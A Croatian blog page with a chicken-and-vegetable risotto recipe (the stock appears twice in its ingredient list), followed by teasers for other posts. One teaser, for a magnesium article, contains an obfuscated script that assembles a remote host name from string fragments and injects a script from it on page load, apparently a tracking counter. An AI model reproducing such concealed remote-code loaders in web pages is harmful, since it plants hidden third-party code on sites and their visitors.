RIŽOTO S PILETINOM I POVRĆEM 🐔 🍚





Rižoto s piletinom i povrćem 



Ova proteinska verzija s piletinom i povrćem, čiji recept možete pročitati u nastavku, odličan je izbor za ručak ili večeru. Priprema nije komplicirana, a cijeli rižot kuha se oko 20 minuta, taman koliko treba da riža ostane kremasta i lagano al dente. Osim što je ukusan, ovakav rižot može biti i odličan izbor za osobe koje paze na prehranu ili pokušavaju smršavjeti. Zahvaljujući većem udjelu proteina, dulje pruža osjećaj sitosti, pa nećete imati potrebu za grickalicama između obroka ili će biti manje nego inače.





Rižoto s piletinom i povrćem 


Sastojci:

300 g pilećih prsa
250 g riže za rižot
150 g graška
120 g mrkve
80 g parmezana
30 g maslaca
1 l pilećeg temeljca
15 ml maslinova ulja
1 glavica luka
2 češnja češnjaka
1 l pilećeg temeljca
peršin
sol, papar




Priprema:

Sitno nasjeckajte luk i češnjak. Mrkvu narežite na male kockice, a piletinu na komade veličine zalogaja. Zagrijte maslinovo ulje i maslac u većoj tavi. Dodajte luk i češnjak pa pirjajte nekoliko minuta dok ne omekšaju. Dodajte piletinu, posolite i popaprite te pecite dok lagano ne porumeni.

Umiješajte mrkvu i kuhajte još dvije minute. Dodajte rižu i miješajte dok ne postane lagano staklasta. Postupno dolijevajte vrući temeljac, uz stalno miješanje. Pričekajte da riža upije tekućinu prije dodavanja nove količine temeljca.


Nakon desetak minuta dodajte grašak i nastavite kuhati još 8 do 10 minuta, dok riža ne postane kremasta i kuhana "al dente". Maknite s vatre, umiješajte naribani parmezan i pospite svježim peršinom. Poslužite odmah.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više